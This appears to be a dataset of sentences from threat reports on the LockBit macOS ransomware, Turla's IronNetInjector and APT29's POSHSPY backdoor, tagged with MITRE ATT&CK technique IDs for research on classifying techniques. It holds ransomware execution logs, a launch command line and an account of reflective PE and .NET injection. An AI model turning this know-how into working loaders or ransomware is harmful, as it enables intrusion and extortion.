{"sentence": "# FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\", \"file\" : { \"destination\" : \"/private/tmp/locklog\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Then, accessing (opening) the files in the specified directory, to encrypt them, and renaming the encrypted files with the .lockbit extension: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_OPEN\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/DazzleSpy.zip\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } }, { \"event\" : \"ES_EVENT_TYPE_NOTIFY_RENAME\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/DazzleSpy.zip.lockbit\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Finally, it creates a file named \"!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "which is ransom note with the decryption instructions: # FileMonitor.app/Contents/MacOS/FileMonitor -pretty -json -filter locker_Apple_M1_64 ... { \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\", \"file\" : { \"destination\" : \"/Users/user/Downloads/lock_me_up/!!!-Restore-My-Files-!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "\", \"process\" : { ... \"pid\" : 8231 \"name\" : \"locker_Apple_M1_64\", \"path\" : \"/Users/user/Downloads/locker_Apple_M1_64\", ... } } } Ransomed files and ransom note Let’s take a peek at the log (/tmp/locker.log), which gives us details in the ransomware’s actions: [19:16:45][74073472l][+] Launch parameters: ./locker_Apple_M1_64", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-i '/Users/user/Downloads/lock_me_up' -m 16 -w 0 -b 0 -r 0 -l 1 -n 0 -d 1 -e '' -s 10 -p test -o 0", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "0", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-z", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-y 0 ~~~~~~~~~~~~~~~Hardware~~~~~~~~~~~~~~~~~~ [19:32:07][4329948544][+] Add directory to encrypt: /Users/user/Downloads/lock_me_up", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] Start encrypting file /Users/user/Downloads/lock_me_up/DazzleSpy.zip spot 0 from 1.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Original checksum 2846984875 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "[19:32:07][6140964864][+] End file /Users/user/Downloads/lock_me_up/DazzleSpy.zip size 223464 time 1672883981 is encrypted.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Checksum after encryption 3269819564 ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "At this point, we have a fairly comprehensive analysis of the malware, and have confirmed it is (as wholly expected) ransomware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And, being able to trigger its ransomware logic is helpful to testing detection tools (discussed next).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Detection Of course its goes without saying, having your files ransomed sucks!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "And good news, in this case the average macOS is unlikely to be impacted by this LockBit macOS sample.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "So, kudos to Cupertino.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Apple has also added (TCC) protections to user files founds in (now) protected directories such as ~/Desktop, ~/Documents, etc. etc.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Still an additional layer or detection/protection may be warranted, especially we’ve all probably clicked “Allow” on access prompts, while even Apple has been known to notarize malware.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If we stop to think specifically about ransomware, in theory, (at least in most cases) it should be trivial to detect.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Why?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Simply put, ransomware’s actions provide us with a powerful detection heuristic.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In April 2016 (yes, wayyyy back then!)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "I posted a blog titled, “Towards Generic Ransomware Detection”.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In this post, I mused, “If we can monitor file I/O events and detect the rapid creation of encrypted files by untrusted processes, then ransomware may be generically detected” To back this up, I released a free (and now open-source) tool called “RansomWhere?” that implemented this heuristic-based approach.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Specifically it process file", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "I/O events and for newly created files asks: Is the process creating file untrusted (e.g. not an Apple platform binary)?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Is created file encrypted?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Is the (untrusted) process rapidly creating several encrypted files?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If these are all true, “RansomWhere?” will suspend process as its likely ransomware and alert the user and handle the response (resume/terminate).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As with any detection approach and security tool, there are limitations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "...doing it's thing!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Conclusion Today we dove into a macOS ransomware sample created by the infamous LockBit ransomware gang.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "…still, as we stated earlier, the fact that a large ransomware gang (LockBit) has apparently set its sights on macOS, should give us all pause for concern.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The use of IronPython for malicious purposes isn’t new, but the way Turla uses it is new.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It describes the use of an interpreter, not present on a system by default, to run malicious code of an interpreted programming or scripting language.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The first malicious IronPython scripts of the tool we describe here were discovered last year by a security researcher from FireEye.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "At the beginning of this year, another security researcher from Dragos pointed out some new scripts of the same threat actor uploaded to VirusTotal from two different submitters.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We found that one of the submitters also uploaded two other samples, which are most likely embedded payloads of one of the IronPython scripts.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These samples helped us to understand how this tool works, what malware it loads and which threat actor uses it.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We dubbed this toolchain IronNetInjector, the blend of IronPython and the injector’s internal project name NetInjector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In this blog, we describe the IronPython scripts and how they’re used to load one or more payloads with the help of an injector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the words of the IronPython team: IronPython is an open-source implementation of the Python programming language which is tightly integrated with the .NET Framework.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "IronPython can use the .NET Framework and Python libraries, and other", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "And further: IronPython’s sweet-spot is being able to use the .NET framework APIs directly from Python.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "With IronPython, you can use .NET framework APIs directly in your Python script.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "As one of two official projects formerly developed by Microsoft, the other being IronRuby, it uses the Dynamic Language Runtime (DLR).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Now, it becomes clear why IronPython is also attractive for malware authors.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Of course, this requires the IronPython interpreter to also be present on the system, but that can be accomplished in different ways.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In case of a sandbox that supports Python scripts, the interpreter would simply crash without any dynamic analysis result.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Further, as IronPython is written in C# and thus its process contains all the Common Language Runtime (CLR) on execution, one can easily load additional assemblies.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The payloads can be also .NET assemblies (x86/64) or native PEs (x86/64).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When an IronPython script is run, the .NET injector gets loaded, which in turn injects the payload(s) into its own or a remote process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Strings are encrypted.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contain an encrypted .NET injector and one or more encrypted PE payloads.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Take one argument that is the decryption key for the embedded .NET injector and PE payload(s).", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Embedded .NET injector and payload(s) are encoded with Base64 and encrypted with Rijndael.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Log messages are written to %PUBLIC%\\Metadata.dat Error messages are written to %PUBLIC%\\Metaclass.dat", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The following screenshot shows one of the IronPython scripts decoded: Figure 1.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Both versions are full-blown PE injection tools able to load a native x86/64 payload reflectively into a remote process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is accomplished via unmanaged functions and the use of PeNet, a publicly available PE parser library written in C#.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Additionally, log and error messages are being used extensively.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The 2018 variant is used within PowerShell scripts to load a payload from the same script into a process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Most of its code is taken from PowerShell Empire’s ReflectivePEInjection script and got translated into C#.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It’s written in a much more specific manner than the 2019 variant, which is a generically written injection tool.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The newer version additionally contains the ability to inject .NET assemblies into unmanaged processes.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The newer injector has the following PDB path left: C:\\Users\\Devel\\source\\repos\\c4\\agent\\build_tools\\agent_dll_to_Python_loader\\NetInjector\\NetInjector\\obj\\Release\\NetInjector.pdb The same submitters who uploaded the IronPython scripts also submitted other files which are directly related to IronNetInjector.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The following table shows the IronPython scripts categorized by the different VirusTotal submitters.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It also shows which other samples uploaded by the same submitter or the other submitters are connected and gives the assumed embedded malware: Submitter IronPython script(s) uploads Related samples uploaded by same submitter Payload assumptions 1 • prophile.py • profilec.py • IronPython-2.7.7z: Portable IronPython version that contains the two IronPython scripts and a Windows task XML to start profilec.py • prophile.py: .NET injector (variant 2018)", "labels": ["T1027", "T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "+ RPC backdoor variant • profilec.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant 2 • profile.py – • profile.py: .NET injector (variant 2019)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "ComRAT variant 3 • 10profilec.py • 120profilec.py • 220profile.py – • 10profilec.py: .NET injector (variant 2018)", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Unknown 4 • profilec.py • NetInjector.dll: .NET injector (variant 2019), most likely embedded .NET", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Categorized IronPython samples according to VirusTotal submitters and their assumed payloads.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In one case, a variant of the RPC backdoor is used and in another a payload that we couldn’t associate with known malware.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We also couldn’t verify how the IronPython scripts get run in the first place.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "One of the submitters uploaded a 7-Zip archive with the contents of the IronPython MSI file of version 2.7.0.40 from 2011.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This archive also contains two IronPython scripts (see table) and a Windows task XML file named mssch.xml with the following content: Figure 2.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Windows task XML file for IronNetInjector.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The task is used to start an IronPython script with the 64-bit version of the interpreter.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "However, the key didn’t decrypt on any of the embedded files in the scripts we found.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "IronNetInjector task triggers.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Depending on the system, the event with ID 8001 belongs to Microsoft Internet Information Services (IIS), Microsoft Exchange Server or Windows Server (Source: Netsurion EventTracker).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The other event with ID 5324 is likely related to the logoff from Winlogon.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Both triggers only happen when these events appear in the Microsoft-Windows-GroupPolicy(/Operational) event logs.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When we consider that the files in the 7-Zip archive were all taken from the same directory, we can make some assumptions.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The attacker might have used the IronPython MSI to install the interpreter to C:\\ProgramData\\IronPython-2.7 on the victim’s system.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The IronPython scripts and the Windows task XML were placed in the same directory.", "labels": ["T1053.005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "However, it’s also possible that the submitter collected the files from different places and just bundled them into an archive for scanning purposes.", "labels": ["T1005"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "A Brief Walkthrough Let’s go briefly through the execution flow based on one of the scripts of VirusTotal submitter 4 that contains the 2019 variant of the injector and a ComRAT variant (SHA256: 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6).", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When an IronPython script is run, it is loaded into the IronPython interpreter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the IronPython script, the embedded .NET injector (SHA256: a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc) and ComRAT DLL payload (SHA256: a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56) get decoded and decrypted.", "labels": ["T1027", "T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is done with the Python Base64 module and the RijndaelManaged class from the C# cryptography namespace.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The decryption key is passed as an argument to the IronPython script.", "labels": ["T1140"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The Rijndael initialization vector (IV) is stored in the script.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Next, the .NET injector gets loaded into the IronPython process with the help of the Assembly.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "That’s possible because IronPython itself is a .NET assembly and thus its process already contains all the .NET runtime libraries.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "After the injector assembly is loaded, the ID of the process where the ComRAT DLL gets injected is retrieved.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In this case, the explorer.exe was chosen.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This routine to get the PID slightly differs in the IronPython scripts we found.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "While one script uses the C# method GetProcessesByName() to get the PID, the other scripts run the Windows tool tasklist.exe with the help of the Python os.popen() function.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Also, some scripts filter the PID based on a Windows service name.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "When the PID is found, an instance of the injector assembly is created and the ComRAT payload bytes and PID are passed.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "PID retrieval function variations in the different IronPython scripts.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In the latter, the exported function name VFEP of the ComRAT payload gets passed.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The .NET injector contains the following namespaces: DefaultSerializer PeNet PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Parser PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Structures PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Structures.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "MetaDataTables.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Parsers PeNet.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Utilities While the PeNet code is copied from the project, the namespace DefaultSerializer contains the injector code and is made of the following classes: DefaultSerializer: Contains the injector code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "NetBootstrapper:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contains 32-/64-bit bootstrappers to load an assembly into an unmanaged process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Win32:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Contains the imported unmanaged function declarations and win32 structures/constants.", "labels": ["T1106"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The method InjectAssembly is used to inject a .NET assembly into a native process (or its own) and InvokeAssemblyMethod to call any chosen method of the injected assembly.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The method Invoke is used to inject a native PE into a remote process and InvokeVoid to call any exported function of the injected payload.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Decompiled NetInjector code.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Depending on the number of arguments passed to DefaultSerializer on creation time, the payload is either loaded into its own process or a remote one.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In case only the payload bytes are passed, it gets loaded into its own process space.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The other options are to also pass the ID or handle of the remote process the payload gets injected to.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "In our case, the second option is used with the PID of explorer.exe to load the ComRAT payload reflectively into the process.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This needs some preparation in the remote process, as you cannot simply load and execute a .NET assembly there if the CLR isn’t present.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "This is accomplished with a native bootstrapper DLL, which gets injected into the remote process and prepares it so a .NET assembly can be injected afterwards.", "labels": ["T1055"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "There are two bootstrappers (x86/64) contained in the NetBootstrapper class, which have the following PDB paths left: F:\\Dev\\NetInjector\\bin\\Release\\NetBootstrapper_Win32.pdb F:\\Dev\\NetInjector\\bin\\Release\\NetBootstrapper_x64.pdb Just like the injector itself, the bootstrappers contain meaningful function names (exported functions) and useful log messages.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It uses the following exported functions:", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Bootstrap: Load CLR services into process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Get method result from InvokeMethod.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "InvokeMethod: Call method of injected assembly passed as a parameter.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Same as Bootstrap.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These functions are called from the injector to prepare and load a .NET assembly payload from the IronPython script into a remote process.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "It’s similar in structure to the previously used in-memory loading mechanism to execute malware with the help of PowerShell scripts.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "These scripts contain an embedded PE loader to execute an embedded malware payload.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The tool we discussed in this blogpost was likely developed to move away from PowerShell towards .NET.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "The .NET injectors and bootstrappers contain clean code and meaningful function/method/variable names, and they use detailed log/error messages.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Only the initial IronPython scripts are obfuscated to prevent easy detection.", "labels": ["T1027"], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "How do the IronPython scripts get run?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "And how is the interpreter deployed to a victim’s system?", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "We will continue to monitor for this malware loading tool to get the missing pieces of the puzzle.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Our extended detection and response platform Cortex XDR can identify and block the malware execution.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "AutoFocus customers can track the activity with the tag “IronNetInjector”.", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Indicators of Compromise IronPython scripts b641687696b66e6e820618acc4765162298ba3e9106df4ef44b2218086ce8040 (prophile.py, submitter 1) c430ebab4bf827303bc4ad95d40eecc7988bdc17cc139c8f88466bc536755d4e (profilec.py, submitter 1) c1b8ecce81cf4ff45d9032dc554efdc7a1ab776a2d24fdb34d1ffce15ef61aad (profile.py, submitter 2) 8df0c705da0eab20ba977b608f5a19536e53e89b14e4a7863b7fd534bd75fd72 (10profilec.py, submitter 3) b5b4d06e1668d11114b99dbd267cde784d33a3f546993d09ede8b9394d90ebb3 (120profilec.py, submitter 3) b095fd3bd3ed8be178dafe47fc00c5821ea31d3f67d658910610a06a1252f47d (220profile.py, submitter 3) 3aa37559ef282ee3ee67c4a61ce4786e38d5bbe19bdcbeae0ef504d79be752b6 (profilec.py, submitter 4) Injector samples a56f69726a237455bac4c9ac7a20398ba1f50d2895e5b0a8ac7f1cdb288c32cc (2019 variant, submitter 4) c59fadeb8f58bbdbd73d9a2ac0d889d1a0a06295f1b914c0bd5617cfb1a08ce9 (2018 variant, submitter 5) Bootstrapper samples 63d7695dabefb97aa30cbe522647c95395b44321e1a3b08b8028e4000d1be15e ba17af72a9d90822eed447b8526fb68963f0cde78df07c16902dc5a0c44536c4 Related samples 82333533f7f7cb4123bceee76358b36d4110e03c2219b80dced5a4d63424cc93 (IronPython-2.7.7z, submitter 1) a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56 (ComRAT v4 variant, submitter 4) 18c173433daafcc3aea17fc4f7792d0ff235f4075a00feda88aa1c9f8f6e1746 (RPC backdoor variant, submitter 5) a64e79a81b5089084ff88e3f4130e9d5fa75e732a1d310a1ae8de767cbbab061 (RPC backdoor variant, submitter 5) Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "IronNetInjector Turlas New Malware Loading Tool"}
{"sentence": "Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "POSHSPY leverages two of the tools the group frequently uses: PowerShell and Windows Management Instrumentation (WMI).", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "In the investigations Mandiant has conducted, it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Its use of a PowerShell payload means that only legitimate system processes are utilized and that the malicious code execution can only be identified through enhanced logging or in memory.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Every aspect of POSHSPY is efficient and covert.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "We first discussed APT29’s use of this backdoor as part of our “No Easy Breach” talk.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI provides many administrative capabilities on local and remote systems, including querying system information, starting and stopping processes, and setting conditional triggers.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI can be accessed using a variety of tools, including the Windows WMI Command-line (wmic.exe), or through APIs accessible to programming and scripting languages such as PowerShell.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Windows system WMI data is stored in the WMI common information model (CIM) repository, which consists of several files in the System32\\wbem\\Repository directory.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI classes are the primary structure within WMI.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI classes can contain methods (code) and properties (data).", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI permanent event subscriptions can be used to trigger actions when specified conditions are met.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Attackers often use this functionality to persist the execution of backdoors at system start up.", "labels": [], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI Consumers specify an action to be performed, including executing a command, running a script, adding an entry to a log, or sending an email.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
{"sentence": "WMI Filters define conditions that will trigger a Consumer, including system startup, the execution of a program, the passing of a specified time and many others.", "labels": ["T1047"], "doc_title": "Dissecting One of APT29s Fileless WMI and PowerShell Backdoors POSHSPY"}
